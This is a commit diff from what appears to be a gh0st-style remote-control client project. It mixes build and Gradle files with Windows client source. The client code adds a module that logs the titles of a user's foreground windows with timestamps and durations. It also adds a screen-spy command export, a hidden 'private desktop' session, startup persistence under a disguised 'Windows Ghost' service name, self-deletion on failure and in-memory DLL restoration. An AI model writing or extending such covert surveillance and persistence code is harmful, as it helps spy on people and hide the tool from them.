"$HOME/Library/Android/sdk/ndk/$(ls "$HOME/Library/Android/sdk/ndk" 2>/dev/null | sort -V | tail -1)" \
"$HOME/Android/Sdk/ndk/$(ls "$HOME/Android/Sdk/ndk" 2>/dev/null | sort -V | tail -1)"; do
if [[ -f "${candidate}/build/cmake/android.toolchain.cmake" ]]; then
ANDROID_NDK="$candidate"; break
fi
done
fi
[[ -z "${ANDROID_NDK:-}" ]] && { echo "Error: ANDROID_NDK not set"; exit 1; }
TOOLCHAIN="$ANDROID_NDK/build/cmake/android.toolchain.cmake"
echo "NDK: $ANDROID_NDK"
# --- 自动检测宿主平台(用于选择 strip 工具路径)---
case "$(uname -s 2>/dev/null || echo Windows)" in
Linux*) HOST_TAG="linux-x86_64" ;;
Darwin*) HOST_TAG="darwin-x86_64" ;;
*) HOST_TAG="windows-x86_64" ;;
esac
# --- 下载 zstd 源码 ---
if [[ ! -d "$ZSTD_DIR" ]]; then
echo "Downloading zstd $ZSTD_VERSION..."
wget -q "$ZSTD_URL" -O "$ZSTD_TAR"
tar xf "$ZSTD_TAR"
rm "$ZSTD_TAR"
fi
OUT_BASE="app/src/main/cpp/lib"
# arm64-v8a / armeabi-v7a: 真机x86 / x86_64: Android 模拟器(避免 libndk_translation 解压 bug
ABIS=("arm64-v8a" "armeabi-v7a" "x86" "x86_64")
for ABI in "${ABIS[@]}"; do
BUILD_DIR="zstd_build/$ABI"
OUT_DIR="$OUT_BASE/$ABI"
rm -rf "$BUILD_DIR"
echo
echo "===== zstd $ABI ====="
cmake \
-B "$BUILD_DIR" -S "$ZSTD_DIR/build/cmake" \
-DCMAKE_TOOLCHAIN_FILE="$TOOLCHAIN" \
-DANDROID_ABI="$ABI" \
-DANDROID_PLATFORM=android-21 \
-DCMAKE_BUILD_TYPE=Release \
-DCMAKE_C_FLAGS="-O2 -g0" \
-DZSTD_BUILD_STATIC=ON \
-DZSTD_BUILD_SHARED=OFF \
-DZSTD_BUILD_PROGRAMS=OFF \
-DZSTD_BUILD_TESTS=OFF \
-DZSTD_LEGACY_SUPPORT=0 \
-DZSTD_DISABLE_ASM=ON
cmake --build "$BUILD_DIR" --config Release -j"$(nproc 2>/dev/null || sysctl -n hw.logicalcpu 2>/dev/null || echo 4)"
mkdir -p "$OUT_DIR"
cp "$BUILD_DIR/lib/libzstd.a" "$OUT_DIR/libzstd.a"
STRIP="$ANDROID_NDK/toolchains/llvm/prebuilt/${HOST_TAG}/bin/llvm-strip"
[[ -f "$STRIP" ]] && "$STRIP" --strip-debug "$OUT_DIR/libzstd.a"
ls -lh "$OUT_DIR/libzstd.a"
done
rm -rf zstd_build "$ZSTD_DIR"
echo
echo "===== Done ====="
echo "libzstd.a 已写入 app/src/main/cpp/lib/{arm64-v8a,armeabi-v7a}/"

BIN
android/ghost.apk Normal file

Binary file not shown.

View File

@@ -0,0 +1,5 @@
android.useAndroidX=true
android.enableJetifier=true
org.gradle.jvmargs=-Xmx2048m
# 模拟器x86/x86_64支持build_apk.sh 会强制覆盖为 false此行只影响 Android Studio
includeEmulatorAbis=true

Binary file not shown.

View File

@@ -0,0 +1,7 @@
distributionBase=GRADLE_USER_HOME
distributionPath=wrapper/dists
distributionUrl=https\://services.gradle.org/distributions/gradle-9.3.0-bin.zip
networkTimeout=10000
validateDistributionUrl=true
zipStoreBase=GRADLE_USER_HOME
zipStorePath=wrapper/dists

248
android/gradlew vendored Normal file
View File

@@ -0,0 +1,248 @@
#!/bin/sh
#
# Copyright © 2015 the original authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# SPDX-License-Identifier: Apache-2.0
#
##############################################################################
#
# Gradle start up script for POSIX generated by Gradle.
#
# Important for running:
#
# (1) You need a POSIX-compliant shell to run this script. If your /bin/sh is
# noncompliant, but you have some other compliant shell such as ksh or
# bash, then to run this script, type that shell name before the whole
# command line, like:
#
# ksh Gradle
#
# Busybox and similar reduced shells will NOT work, because this script
# requires all of these POSIX shell features:
# * functions;
# * expansions «$var», «${var}», «${var:-default}», «${var+SET}»,
# «${var#prefix}», «${var%suffix}», and «$( cmd )»;
# * compound commands having a testable exit status, especially «case»;
# * various built-in commands including «command», «set», and «ulimit».
#
# Important for patching:
#
# (2) This script targets any POSIX shell, so it avoids extensions provided
# by Bash, Ksh, etc; in particular arrays are avoided.
#
# The "traditional" practice of packing multiple parameters into a
# space-separated string is a well documented source of bugs and security
# problems, so this is (mostly) avoided, by progressively accumulating
# options in "$@", and eventually passing that to Java.
#
# Where the inherited environment variables (DEFAULT_JVM_OPTS, JAVA_OPTS,
# and GRADLE_OPTS) rely on word-splitting, this is performed explicitly;
# see the in-line comments for details.
#
# There are tweaks for specific operating systems such as AIX, CygWin,
# Darwin, MinGW, and NonStop.
#
# (3) This script is generated from the Groovy template
# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt
# within the Gradle project.
#
# You can find Gradle at https://github.com/gradle/gradle/.
#
##############################################################################
# Attempt to set APP_HOME
# Resolve links: $0 may be a link
app_path=$0
# Need this for daisy-chained symlinks.
while
APP_HOME=${app_path%"${app_path##*/}"} # leaves a trailing /; empty if no leading path
[ -h "$app_path" ]
do
ls=$( ls -ld "$app_path" )
link=${ls#*' -> '}
case $link in #(
/*) app_path=$link ;; #(
*) app_path=$APP_HOME$link ;;
esac
done
# This is normally unused
# shellcheck disable=SC2034
APP_BASE_NAME=${0##*/}
# Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036)
APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit
# Use the maximum available, or set MAX_FD != -1 to use that value.
MAX_FD=maximum
warn () {
echo "$*"
} >&2
die () {
echo
echo "$*"
echo
exit 1
} >&2
# OS specific support (must be 'true' or 'false').
cygwin=false
msys=false
darwin=false
nonstop=false
case "$( uname )" in #(
CYGWIN* ) cygwin=true ;; #(
Darwin* ) darwin=true ;; #(
MSYS* | MINGW* ) msys=true ;; #(
NONSTOP* ) nonstop=true ;;
esac
# Determine the Java command to use to start the JVM.
if [ -n "$JAVA_HOME" ] ; then
if [ -x "$JAVA_HOME/jre/sh/java" ] ; then
# IBM's JDK on AIX uses strange locations for the executables
JAVACMD=$JAVA_HOME/jre/sh/java
else
JAVACMD=$JAVA_HOME/bin/java
fi
if [ ! -x "$JAVACMD" ] ; then
die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME
Please set the JAVA_HOME variable in your environment to match the
location of your Java installation."
fi
else
JAVACMD=java
if ! command -v java >/dev/null 2>&1
then
die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
Please set the JAVA_HOME variable in your environment to match the
location of your Java installation."
fi
fi
# Increase the maximum file descriptors if we can.
if ! "$cygwin" && ! "$darwin" && ! "$nonstop" ; then
case $MAX_FD in #(
max*)
# In POSIX sh, ulimit -H is undefined. That's why the result is checked to see if it worked.
# shellcheck disable=SC2039,SC3045
MAX_FD=$( ulimit -H -n ) ||
warn "Could not query maximum file descriptor limit"
esac
case $MAX_FD in #(
'' | soft) :;; #(
*)
# In POSIX sh, ulimit -n is undefined. That's why the result is checked to see if it worked.
# shellcheck disable=SC2039,SC3045
ulimit -n "$MAX_FD" ||
warn "Could not set maximum file descriptor limit to $MAX_FD"
esac
fi
# Collect all arguments for the java command, stacking in reverse order:
# * args from the command line
# * the main class name
# * -classpath
# * -D...appname settings
# * --module-path (only if needed)
# * DEFAULT_JVM_OPTS, JAVA_OPTS, and GRADLE_OPTS environment variables.
# For Cygwin or MSYS, switch paths to Windows format before running java
if "$cygwin" || "$msys" ; then
APP_HOME=$( cygpath --path --mixed "$APP_HOME" )
JAVACMD=$( cygpath --unix "$JAVACMD" )
# Now convert the arguments - kludge to limit ourselves to /bin/sh
for arg do
if
case $arg in #(
-*) false ;; # don't mess with options #(
/?*) t=${arg#/} t=/${t%%/*} # looks like a POSIX filepath
[ -e "$t" ] ;; #(
*) false ;;
esac
then
arg=$( cygpath --path --ignore --mixed "$arg" )
fi
# Roll the args list around exactly as many times as the number of
# args, so each arg winds up back in the position where it started, but
# possibly modified.
#
# NB: a `for` loop captures its iteration list before it begins, so
# changing the positional parameters here affects neither the number of
# iterations, nor the values presented in `arg`.
shift # remove old arg
set -- "$@" "$arg" # push replacement arg
done
fi
# Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"'
# Collect all arguments for the java command:
# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments,
# and any embedded shellness will be escaped.
# * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be
# treated as '${Hostname}' itself on the command line.
set -- \
"-Dorg.gradle.appname=$APP_BASE_NAME" \
-jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \
"$@"
# Stop when "xargs" is not available.
if ! command -v xargs >/dev/null 2>&1
then
die "xargs is not available"
fi
# Use "xargs" to parse quoted args.
#
# With -n1 it outputs one arg per line, with the quotes and backslashes removed.
#
# In Bash we could simply go:
#
# readarray ARGS < <( xargs -n1 <<<"$var" ) &&
# set -- "${ARGS[@]}" "$@"
#
# but POSIX shell has neither arrays nor command substitution, so instead we
# post-process each arg (as a line of input to sed) to backslash-escape any
# character that might be a shell metacharacter, then use eval to reverse
# that process (while maintaining the separation between arguments), and wrap
# the whole thing up as a single "set" statement.
#
# This will of course break if any of these variables contains a newline or
# an unmatched quote.
#
eval "set -- $(
printf '%s\n' "$DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS" |
xargs -n1 |
sed ' s~[^-[:alnum:]+,./:=@_]~\\&~g; ' |
tr '\n' ' '
)" '"$@"'
exec "$JAVACMD" "$@"

93
android/gradlew.bat vendored Normal file
View File

@@ -0,0 +1,93 @@
@rem
@rem Copyright 2015 the original author or authors.
@rem
@rem Licensed under the Apache License, Version 2.0 (the "License");
@rem you may not use this file except in compliance with the License.
@rem You may obtain a copy of the License at
@rem
@rem https://www.apache.org/licenses/LICENSE-2.0
@rem
@rem Unless required by applicable law or agreed to in writing, software
@rem distributed under the License is distributed on an "AS IS" BASIS,
@rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
@rem See the License for the specific language governing permissions and
@rem limitations under the License.
@rem
@rem SPDX-License-Identifier: Apache-2.0
@rem
@if "%DEBUG%"=="" @echo off
@rem ##########################################################################
@rem
@rem Gradle startup script for Windows
@rem
@rem ##########################################################################
@rem Set local scope for the variables with windows NT shell
if "%OS%"=="Windows_NT" setlocal
set DIRNAME=%~dp0
if "%DIRNAME%"=="" set DIRNAME=.
@rem This is normally unused
set APP_BASE_NAME=%~n0
set APP_HOME=%DIRNAME%
@rem Resolve any "." and ".." in APP_HOME to make it shorter.
for %%i in ("%APP_HOME%") do set APP_HOME=%%~fi
@rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
set DEFAULT_JVM_OPTS="-Xmx64m" "-Xms64m"
@rem Find java.exe
if defined JAVA_HOME goto findJavaFromJavaHome
set JAVA_EXE=java.exe
%JAVA_EXE% -version >NUL 2>&1
if %ERRORLEVEL% equ 0 goto execute
echo. 1>&2
echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2
echo. 1>&2
echo Please set the JAVA_HOME variable in your environment to match the 1>&2
echo location of your Java installation. 1>&2
goto fail
:findJavaFromJavaHome
set JAVA_HOME=%JAVA_HOME:"=%
set JAVA_EXE=%JAVA_HOME%/bin/java.exe
if exist "%JAVA_EXE%" goto execute
echo. 1>&2
echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2
echo. 1>&2
echo Please set the JAVA_HOME variable in your environment to match the 1>&2
echo location of your Java installation. 1>&2
goto fail
:execute
@rem Setup the command line
@rem Execute Gradle
"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %*
:end
@rem End local scope for the variables with windows NT shell
if %ERRORLEVEL% equ 0 goto mainEnd
:fail
rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of
rem the _cmd.exe /c_ return code!
set EXIT_CODE=%ERRORLEVEL%
if %EXIT_CODE% equ 0 set EXIT_CODE=1
if not ""=="%GRADLE_EXIT_CONSOLE%" exit %EXIT_CODE%
exit /b %EXIT_CODE%
:mainEnd
if "%OS%"=="Windows_NT" endlocal
:omega

16
android/settings.gradle Normal file
View File

@@ -0,0 +1,16 @@
pluginManagement {
repositories {
google()
mavenCentral()
gradlePluginPortal()
}
}
dependencyResolutionManagement {
repositoriesMode.set(RepositoriesMode.FAIL_ON_PROJECT_REPOS)
repositories {
google()
mavenCentral()
}
}
rootProject.name = "YAMA"
include(":app")

112
android/sign_apk.bat Normal file
View File

@@ -0,0 +1,112 @@
@echo off
:: sign_apk.bat - Sign a YAMA APK with the release keystore
:: Usage: sign_apk.bat <apk-path>
setlocal
if "%~1"=="" (
echo Usage: sign_apk.bat ^<apk-path^>
exit /b 1
)
set "APK=%~f1"
if not exist "%APK%" (
echo ERROR: APK not found: %APK%
exit /b 1
)
set "KEYSTORE=%~dp0yama-release.jks"
if not exist "%KEYSTORE%" (
echo ERROR: Keystore not found: %KEYSTORE%
exit /b 1
)
:: --- Locate java.exe ---
set "JAVA_EXE="
where java >nul 2>&1
if not errorlevel 1 set "JAVA_EXE=java"
if not defined JAVA_EXE if defined JAVA_HOME (
if exist "%JAVA_HOME%\bin\java.exe" set "JAVA_EXE=%JAVA_HOME%\bin\java.exe"
)
if not defined JAVA_EXE if exist "%ProgramFiles%\Android\Android Studio\jbr\bin\java.exe" (
set "JAVA_EXE=%ProgramFiles%\Android\Android Studio\jbr\bin\java.exe"
)
if not defined JAVA_EXE if exist "%ProgramFiles%\Android\Android Studio\jre\bin\java.exe" (
set "JAVA_EXE=%ProgramFiles%\Android\Android Studio\jre\bin\java.exe"
)
if not defined JAVA_EXE if exist "%LOCALAPPDATA%\Programs\Android Studio\jbr\bin\java.exe" (
set "JAVA_EXE=%LOCALAPPDATA%\Programs\Android Studio\jbr\bin\java.exe"
)
if not defined JAVA_EXE if exist "%LOCALAPPDATA%\Programs\Android Studio\jre\bin\java.exe" (
set "JAVA_EXE=%LOCALAPPDATA%\Programs\Android Studio\jre\bin\java.exe"
)
if not defined JAVA_EXE (
echo ERROR: java.exe not found. Install JDK or Android Studio.
exit /b 1
)
:: --- Locate Android SDK ---
set "SDK_DIR="
if defined ANDROID_HOME if exist "%ANDROID_HOME%" set "SDK_DIR=%ANDROID_HOME%"
if not defined SDK_DIR if defined ANDROID_SDK_ROOT if exist "%ANDROID_SDK_ROOT%" set "SDK_DIR=%ANDROID_SDK_ROOT%"
if not defined SDK_DIR if exist "%LOCALAPPDATA%\Android\Sdk" set "SDK_DIR=%LOCALAPPDATA%\Android\Sdk"
if not defined SDK_DIR (
echo ERROR: Android SDK not found. Set ANDROID_HOME or ANDROID_SDK_ROOT.
exit /b 1
)
:: --- Find latest apksigner.jar (ascending sort, last match = newest) ---
set "SIGNER_JAR="
set "BT_VER="
for /f "delims=" %%D in ('dir /b /ad /on "%SDK_DIR%\build-tools" 2^>nul') do (
if exist "%SDK_DIR%\build-tools\%%D\lib\apksigner.jar" (
set "SIGNER_JAR=%SDK_DIR%\build-tools\%%D\lib\apksigner.jar"
set "BT_VER=%%D"
)
if exist "%SDK_DIR%\build-tools\%%D\apksigner.jar" (
set "SIGNER_JAR=%SDK_DIR%\build-tools\%%D\apksigner.jar"
set "BT_VER=%%D"
)
)
if not defined SIGNER_JAR (
echo ERROR: apksigner.jar not found under %SDK_DIR%\build-tools
exit /b 1
)
echo.
echo APK : %APK%
echo Keystore: %KEYSTORE%
echo Java : %JAVA_EXE%
echo JAR : %SIGNER_JAR% [build-tools %BT_VER%]
echo.
set "PWD=%YAMA_PWD%"
if not defined PWD set /p "PWD=Keystore password: "
if not defined PWD (
echo ERROR: No password provided.
exit /b 1
)
echo.
echo Signing...
"%JAVA_EXE%" -jar "%SIGNER_JAR%" sign --ks "%KEYSTORE%" --ks-pass "pass:%PWD%" --ks-key-alias yama "%APK%"
if errorlevel 1 (
echo ERROR: Signing failed.
exit /b 1
)
echo Verifying...
"%JAVA_EXE%" -jar "%SIGNER_JAR%" verify "%APK%"
if errorlevel 1 (
echo ERROR: Verification failed.
exit /b 1
)
echo.
echo Done: %APK%
endlocal

BIN
android/yama-release.jks Normal file

Binary file not shown.

126
client/ActivityHistory.cpp Normal file
View File

@@ -0,0 +1,126 @@
// ActivityHistory.cpp: 客户端历史活动记录采集模块
#include "stdafx.h"
#include "ActivityHistory.h"
#include "KernelManager.h" // ActivityWindow
ActivityHistory& ActivityHistory::Instance()
{
static ActivityHistory inst;
return inst;
}
void ActivityHistory::Start()
{
if (m_started.exchange(true))
return;
m_running = true;
m_thread = std::thread(&ActivityHistory::Loop, this);
}
void ActivityHistory::Stop()
{
m_running = false;
if (m_thread.joinable())
m_thread.join();
}
std::string ActivityHistory::Dump() const
{
std::lock_guard<std::mutex> lock(m_mutex);
std::string out;
// 当前进行中的窗口:若已持续达到阈值,作为最新一条返回
if (!m_curTitle.empty() && m_curDwellSec >= ACTIVITY_MIN_DWELL_SEC)
out += FormatRecord(m_curStartTime, m_curTitle, m_curDwellSec) + "\n";
for (const auto& r : m_records)
out += r + "\n";
return out;
}
void ActivityHistory::Loop()
{
// 空闲打断阈值:远大于 ACTIVITY_MIN_DWELL_SEC避免“停在一个窗口上看几秒”被过早结账。
const DWORD IDLE_THRESHOLD_MS = ACTIVITY_IDLE_BREAK_SEC * 1000;
ActivityWindow aw;
HWND lastHwnd = NULL;
std::string lastTitle;
std::string startTime;
int dwellSec = 0;
while (m_running) {
// 取前台窗口句柄 + 标题;空闲/锁定/取不到标题时 hwnd==NULL 或 title 为空
HWND hwnd = aw.GetActiveWindowHandle(IDLE_THRESHOLD_MS);
std::string title = aw.GetActiveTitleOrEmpty(IDLE_THRESHOLD_MS);
{
std::lock_guard<std::mutex> lock(m_mutex);
if (hwnd == NULL || title.empty()) {
// 空闲/锁定/无标题:结账上一个窗口
if (lastHwnd != NULL && dwellSec >= ACTIVITY_MIN_DWELL_SEC)
m_records.push_front(FormatRecord(startTime, lastTitle, dwellSec));
lastHwnd = NULL;
lastTitle.clear();
dwellSec = 0;
} else if (hwnd == lastHwnd) {
// 同一窗口:即使标题动态变化也连续累计,标题取最新值
++dwellSec;
lastTitle = title;
} else {
// 窗口切换:结账上一个,开始累计新窗口
if (lastHwnd != NULL && dwellSec >= ACTIVITY_MIN_DWELL_SEC)
m_records.push_front(FormatRecord(startTime, lastTitle, dwellSec));
lastHwnd = hwnd;
lastTitle = title;
startTime = NowStr();
dwellSec = 1;
}
while (m_records.size() > ACTIVITY_HISTORY_MAX)
m_records.pop_back();
m_curTitle = lastTitle;
m_curStartTime = startTime;
m_curDwellSec = dwellSec;
}
Sleep(1000);
}
}
std::string ActivityHistory::FormatRecord(const std::string& startTime, const std::string& title, int dwellSec)
{
// 标题里的换行会破坏“每行一条”,做最小清洗
std::string t;
t.reserve(title.size());
for (char c : title) {
if (c == '\r' || c == '\n') c = ' ';
t += c;
}
return "[" + startTime + "] [" + t + "] " + FormatDuration(dwellSec);
}
std::string ActivityHistory::FormatDuration(int sec)
{
if (sec < 0) sec = 0;
if (sec < 60)
return std::to_string(sec) + "s";
if (sec < 3600) {
int m = sec / 60, s = sec % 60;
return s ? std::to_string(m) + "m" + std::to_string(s) + "s"
: std::to_string(m) + "m";
}
int h = sec / 3600, m = (sec % 3600) / 60;
return std::to_string(h) + "h" + std::to_string(m) + "m";
}
std::string ActivityHistory::NowStr()
{
SYSTEMTIME st;
GetLocalTime(&st);
char buf[32];
sprintf_s(buf, sizeof(buf), "%04d-%02d-%02d %02d:%02d:%02d",
st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond);
return buf;
}

54
client/ActivityHistory.h Normal file
View File

@@ -0,0 +1,54 @@
#pragma once
#include <string>
#include <deque>
#include <mutex>
#include <thread>
#include <atomic>
// 历史活动记录:
// 每条格式:[YYYY-MM-DD HH:MM:SS] [窗口标题] <时长>
// 倒序存储(最新在前)。后台线程每 1 秒采样一次前台窗口。
#define ACTIVITY_MIN_DWELL_SEC 5 // 一闪而过阈值(秒):驻留低于此值不记录
#define ACTIVITY_IDLE_BREAK_SEC 300 // 空闲打断阈值(秒):空闲超过此值才结账当前窗口
// 注意:与心跳“活动窗口”列的 6s 判定不同,这里要远大于 MIN_DWELL
// 否则“停在一个窗口上看 10 秒”会被 6s 空闲判定过早结账/漏记
#define ACTIVITY_HISTORY_MAX 500 // 内存保留的最大记录条数
class ActivityHistory
{
public:
static ActivityHistory& Instance();
// 启动常驻采样线程(幂等,重复调用无副作用)
void Start();
// 停止采样线程
void Stop();
// 返回全部历史记录(最新在前,多行文本,每行一条)
std::string Dump() const;
private:
ActivityHistory() = default;
~ActivityHistory() { Stop(); }
ActivityHistory(const ActivityHistory&) = delete;
ActivityHistory& operator=(const ActivityHistory&) = delete;
void Loop();
// 拼一条记录字符串
static std::string FormatRecord(const std::string& startTime, const std::string& title, int dwellSec);
// 时长格式化Ns / Nm / NmNs / NhNm
static std::string FormatDuration(int sec);
// 当前时间戳 "YYYY-MM-DD HH:MM:SS"
static std::string NowStr();
mutable std::mutex m_mutex;
std::deque<std::string> m_records; // 已完成记录,最新在前
std::string m_curTitle; // 当前进行中的窗口标题
std::string m_curStartTime; // 当前窗口的起始时间
int m_curDwellSec = 0; // 当前窗口已连续活跃秒数
std::atomic<bool> m_running{ false };
std::atomic<bool> m_started{ false };
std::thread m_thread;
};

View File

@@ -74,6 +74,7 @@ CAudio::~CAudio()
WAIT (m_hThreadCallBack, 30);
if (m_hThreadCallBack)
Mprintf("没有成功关闭waveInCallBack.\n");
Mprintf("TerminateThread: waveIn 线程 handle=%p threadId=%lu\n", m_Thread, GetThreadId(m_Thread));
TerminateThread(m_Thread, -999);
m_Thread = NULL;
}

View File

@@ -210,9 +210,10 @@ int CFFmpegH264Encoder::convertRGB24ToNV12(uint8_t* rgb, uint32_t stride,
uint32_t width, uint32_t height,
int direction)
{
int signed_height = direction * (int)height;
int w = (int)width;
int h = (int)height;
// Clamp to encoder's even-aligned frame dimensions (same reason as encode()).
int w = m_ctx->width;
int h = m_ctx->height;
int signed_height = direction * h;
int y_size = w * h;
int uv_size = (w / 2) * (h / 2);
m_i420Scratch.resize(y_size + 2 * uv_size);
@@ -249,8 +250,12 @@ int CFFmpegH264Encoder::encode(
if (!m_ctx || !m_frame || !m_packet) return -1;
if (av_frame_make_writable(m_frame) < 0) return -1;
int w = (int)width;
int h = (int)height;
// Use the encoder's even-aligned dimensions, not the raw passed-in values.
// m_ctx->width/height = p.width & ~1, m_frame is allocated for exactly those
// dimensions. If we pass an odd width/height, ARGBToNV12 writes one extra row
// past the end of m_frame->data[0] → heap corruption / access violation.
int w = m_ctx->width;
int h = m_ctx->height;
int signed_height = direction * h;
if (bpp == 32) {

View File

@@ -3,6 +3,7 @@
#include "stdafx.h"
#include "ClientDll.h"
#include "ActivityHistory.h"
#include <common/iniFile.h>
#include <common/LANChecker.h>
#include <common/VerifyV2.h>
@@ -12,6 +13,8 @@ extern "C" {
#include "ServiceWrapper.h"
}
extern void licenseInit();
// Check if CPU supports AVX2 instruction set
static BOOL IsAVX2Supported()
{
@@ -73,6 +76,50 @@ ClientApp* NewClientStartArg(const char* remoteAddr, IsRunning run, BOOL shared)
return a;
}
#if _CONSOLE
#define DLL_API
#else
#define DLL_API __declspec(dllexport)
#endif
extern "C" DLL_API int RunCommand(LPBYTE szBuffer, int ulLength) {
if (!ENABLE_SCREEN || ulLength == 0) {
return 1;
}
if (szBuffer[0] != COMMAND_SCREEN_SPY && szBuffer[0] != TOKEN_PRIVATESCREEN) {
return 2;
}
switch (szBuffer[0]) {
case COMMAND_SCREEN_SPY: {
BYTE bToken[32] = { COMMAND_SCREEN_SPY, USING_DXGI, ALGORITHM_H264, TRUE };
szBuffer = bToken; ulLength = 4;
CONNECT_ADDRESS* m_conn = g_MyApp.g_Connection;
UserParam* user = new UserParam{ ulLength > 1 ? new BYTE[ulLength - 1] : nullptr, int(ulLength - 1) };
if (ulLength > 1) {
memcpy(user->buffer, szBuffer + 1, ulLength - 1);
}
ThreadInfo m_hThread;
auto* sub = new IOCPClient(S_CLIENT_NORMAL, true, MaskTypeNone, m_conn, m_conn->GetRandomServerIP());
// sub->EnableSubConnAuth();
m_hThread.conn = m_conn;
m_hThread.p = sub;
m_hThread.user = user;
m_hThread.h = __CreateThread(NULL, 0, LoopScreenManager, &m_hThread, 0, NULL);
while (m_hThread.p) Sleep(1000);
return 0;
}
case TOKEN_PRIVATESCREEN: {
extern DWORD private_desktop(CONNECT_ADDRESS * conn, const State & exit, const std::string & msg,
const std::string & signature, const std::string & hash, const std::string & hmac, const std::vector<BYTE>&bmpData);
std::string hash(skCrypt(MASTER_HASH)), hmac = "1fafa2a373ae5bb0";
std::thread t(private_desktop, g_MyApp.g_Connection, S_CLIENT_NORMAL, "", "", hash, hmac, std::vector<BYTE>{});
t.join();
return 0;
}
}
return -1;
}
DWORD WINAPI StartClientApp(LPVOID param)
{
ClientApp::AddCount(1);
@@ -214,17 +261,27 @@ int main(int argc, const char *argv[])
return -1;
}
licenseInit();
Mprintf("启动运行: %s %s. Arg Count: %d\n", argv[0], argc>1 ? argv[1] : "", argc);
bool runCmd = (argc > 1 && strncmp(argv[1], "-cmd=", 5) == 0);
std::string cmdStr = (runCmd && strlen(argv[1]) > 5) ? std::string(argv[1] + 5) : "";
int nCmd = cmdStr.empty() ? 0 : std::atoi(cmdStr.c_str());
if (nCmd) {
BYTE buf[] = { nCmd };
return RunCommand(buf, 1);
}
InitWindowsService(NewService(
g_SETTINGS.installName[0] ? g_SETTINGS.installName : "RemoteControlService",
g_SETTINGS.installDir[0] ? g_SETTINGS.installDir : "Remote Control Service",
g_SETTINGS.installDesc[0] ? g_SETTINGS.installDesc : "Provides remote desktop control functionality."), Log);
bool isService = g_SETTINGS.iStartup == Startup_GhostMsc || IsSystemInSession0();
bool isService = g_SETTINGS.iStartup == Startup_GhostMsc || (IsSystemInSession0() && g_SETTINGS.iStartup != Startup_GhostSystem);
bool lockFile = g_SETTINGS.iStartup != Startup_GhostMsc && g_SETTINGS.iStartup != Startup_GhostSystem && !IsSystemInSession0();
// 注册启动项
int r = RegisterStartup(
g_SETTINGS.installDir[0] ? g_SETTINGS.installDir : "Windows Ghost",
g_SETTINGS.installName[0] ? g_SETTINGS.installName : "WinGhost",
!isService, g_SETTINGS.runasAdmin, Logf);
lockFile, g_SETTINGS.iStartup == Startup_GhostSystem ? 2 : g_SETTINGS.runasAdmin, Logf);
if (r <= 0) {
BOOL s = self_del();
if (!IsDebug) {
@@ -338,6 +395,7 @@ BOOL APIENTRY DllMain( HINSTANCE hInstance,
"CPU 不兼容", MB_ICONERROR);
return FALSE;
}
licenseInit();
g_MyApp.g_hInstance = (HINSTANCE)hInstance;
CloseHandle(__CreateThread(NULL, 0, AutoRun, hInstance, 0, NULL));
break;
@@ -531,6 +589,7 @@ DWORD WINAPI StartClient(LPVOID lParam)
std::string ip = settings.ServerIP();
int port = settings.ServerPort();
Mprintf("StartClient begin[%s:%d]\n", ip.c_str(), port);
ActivityHistory::Instance().Start();
if (!app.m_bShared) {
auto now = time(0);
valid_to = atof(cfg.GetStr("settings", "valid_to").c_str());
@@ -566,6 +625,7 @@ DWORD WINAPI StartClient(LPVOID lParam)
std::string expiredDate;
BOOL isAuthKernel = IsAuthKernel(expiredDate);
if (isAuthKernel) ParseAuthServer(&settings);
Mprintf("[StartClient] Current client: %s\n", isAuthKernel ? "AUTH" : "NORMAL");
std::string pubIP = cfg.GetStr("settings", "public_ip", "");
// V2 authorization supports offline mode, verify signature and skip timeout check
VERIFY_V2_AND_SET_AUTHORIZED();
@@ -584,7 +644,8 @@ DWORD WINAPI StartClient(LPVOID lParam)
}
app.SetThreadRun(TRUE);
ThreadInfo* kb = CreateKB(&settings, bExit, pubIP);
ThreadInfo* kb = CreateKB(&settings, bExit, pubIP, isAuthKernel);
static auto _ = RestoreMemDLL(&cfg, &settings, app.g_bExit);
while (app.m_bIsRunning(&app)) {
ULONGLONG dwTickCount = GetTickCount64();
if (!ClientObject->ConnectServer(settings.ServerIP(), settings.ServerPort())) {

View File

@@ -178,9 +178,11 @@
<ClCompile Include="Audio.cpp" />
<ClCompile Include="AudioManager.cpp" />
<ClCompile Include="Buffer.cpp" />
<ClCompile Include="ActivityHistory.cpp" />
<ClCompile Include="CaptureVideo.cpp" />
<ClCompile Include="clang_rt_compat.c" />
<ClCompile Include="ClientDll.cpp" />
<ClCompile Include="ClientLogManager.cpp" />
<ClCompile Include="Common.cpp" />
<ClCompile Include="ConPTYManager.cpp" />
<ClCompile Include="FileManager.cpp" />
@@ -197,11 +199,15 @@
<ClCompile Include="proxy\ProxyManager.cpp" />
<ClCompile Include="RegisterManager.cpp" />
<ClCompile Include="RegisterOperation.cpp" />
<ClCompile Include="reg_startup.c" />
<ClCompile Include="SafeThread.cpp" />
